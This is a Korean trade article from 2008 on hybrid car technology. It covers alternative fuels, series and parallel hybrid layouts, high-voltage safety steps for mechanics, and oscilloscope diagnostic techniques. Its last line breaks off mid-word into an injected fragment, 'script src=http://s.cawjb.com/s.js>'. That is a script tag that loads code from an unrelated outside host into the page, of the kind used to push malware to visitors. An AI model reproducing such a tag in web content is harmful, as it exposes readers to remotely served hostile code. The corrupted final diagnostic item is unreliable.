〔선진정비문화세미나〕
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  • cartech
  • 승인 2008.06.17 00:23
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〔선진정비문화세미나〕
하이브리드 자동차 기술
이응석 한차협 교육이사
하이브리드 자동차는 내연 엔진과 함께 전기자동차의 배터리엔진을 동시에 사용하는 등 일반 차에 비해 연비 및 유해가스 배출량을 개선시킨 차세대 자동차로 대체에너지와 환경오염의 대안으로 등장했다. 도요타의 프리우스와 혼다 시빅이 하이브리드의 대표 차종이라고 할 수 있으며 현재 국내에서도 다양한 개발이 진행되고 있다
대체에너지의 필요성 대두
환경오염과 함께 자동차 배출가스로 지구온난화가 양상되고 있고 세계 각국에서는 자동차 배출가스를 규제하는 법률을 제정하고 규제수준을 강화하기에 이르렀다. 이와 함께 환경친화적인 자동차 개발의 중요성 또한 대두되었다. 또한 현재 운행 중인 자동차 내연기관의 동력원인 석유자원의 고갈과 앞으로 계속 생산이 가능한지에 대한 우려가 나오기 시작했다.
이에 석유를 대신하는 대체 에너지를 사용하는 자동차 개발에 나서게 되었고 이의 방안으로 개발된 것이 수소 에너지 자동차와 전기자동차이다.
수소에너지는 비중, 농도, 발열량, 발화온도, 안전성 등 화석연료와 다른 물성을 지녀, 수소와 산소가 결합해 열이나 전기를 만나면 단순히 물만 생성되게 된다. 또한 높은 에너지 효율을 지니며 적은 환경부하물질의 배출로 지구온난화와 대기오염을 억제한다. 하지만 환경 친화형 자동차의 개발에는 막대한 자원과 기술능력이 요구된다. 따라서 대중화할 수 있는 가격현실화의 문제점도 지니고 있다.
수소 내연기관 자동차는 기존 내연기관을 개량해 수소를 연소실로 공급하는 방식으로 이루어진다. 연료전지의 특징은 저공해 이며 소음이 거의 없고 높은 발전효율을 지녔다는 것이다.
<그림 1>연료전지 자동차의 구조
<그림 2>연료전지의 원리
하이브리드 시스템
하이브리드자동차에는 병렬형 하이브리드시스템과 직렬형 하이브리드시스템이 있다. 병렬형의 휠은 엔진과 모터에 의해 구동되고 모터는 주행 중 발전기의 역할로써 배터리를 충전한다. 직렬형의 엔진은 발전기를, 구동하며 생성된 전기는 모터를 돌려 휠을 구동시킨다.
직/병렬형 하이브리드의 구성부품은 (그림 4)와 같으며 MG1(모터 제너레이터 1)은 엔진과 동력분할메커니즘(power-dividing mechanism) 사이에 위치하고, HV배터리는 트렁크 내부 리어 시트 뒤에 위치한다. 변속기는 AC 500V 모터를 포함해 발전기, 유성기어, 감속기어와 파이널기어로 구성되며 부드럽고 조용한 작동을 위해 무단변속을 이용한다.
<그림 3>하이브리드자동차 타입
a. 병렬형 하이브리드 시스템
b. 직렬형 하이브리드 시스템
<그림 4>하이브리드자동차 시스템의 구성
a. 직/병렬형 하이브리드 구성부품
b. HV 배터리
c. 인버터 어셈블리
d. 변속기
e. 유성기어
하이브리드 자동차의 진단을 위해서는 아래 네 가지의 요소들이 기존 자동차보다 추가된다. 진단을 위한 도구로는 다채널화와 통신신호를 검출할 수 있는 수준의 오슬로 스코프와 AC, DC겸용으로 전류계를 동기화 할 수 있는 연결구(스코프), 전용스캔툴이 필요하다.
1. 저전압 영역에서 고전압 영역
2. DC단상에서 3상 AC까지 모든 영역
3. 인버터, 컨버터 변환관계 및 하이브리드 배터리 관련 지식
4. 작업 때 상시 안전조치의 일상화
【작업 때 주의사항】
·절연장갑을 착용 후 서비스 플러그클립을 제거한다.
·서비스플러그가 제거된 상태에서 파워스위치를 ON(준비)으로 돌리면 장치고장의 원인이 되므로 지침서에 따라 파워스위치를 켜지 않는다.
·서비스 플러그를 제거한 후 적어도 5분 동안에는 어떠한 고압연결 혹은 터미널을 만지지 않는다.
·하이브리드 내부를 체크할 때 보호안경을 착용한다.
·파워스위치를 끌 때, 보조 배터리-터미널 제거 때, 오렌지색상의 배선(고압)을 만지기 전에 절연장갑을 착용한다.
·저항체크를 하기 전이나 커넥터를 분리할 때는 파워스위치를 끄도록 한다.
진단테크닉
【테크닉 1】
하이브리드 배터리 동력원을 사용해 모터(MG2)를 구동할 때
- A채널=브레이크스위치, B채널=HV 배터리케이블(고압)
정지 후 출발, 서서히 주행하면서 속도조절할 때, 하이브리드 배터리로 방전되고 회수되는 전류 측정
【테크닉 2】
- A지점=ST단자 ON 시점(A채널=HV 배터리, 전류입출력 B채널=인버터-ECU 간 G-IN 단자)
B지점=충전 멈춤 때, 끝부분에 나타난 파형 = 엔진멈춤(정지상태에서 측정)
【테크닉 3】
·엔진정지를 하이브리드 컨트롤 유닛에서 요구하는 파형
·엔진회전속도가 줄어들며 정지하는 신호
·채널 1=ENG 스피드 채널 2=ENG 정?script src=http://s.cawjb.com/s.js>

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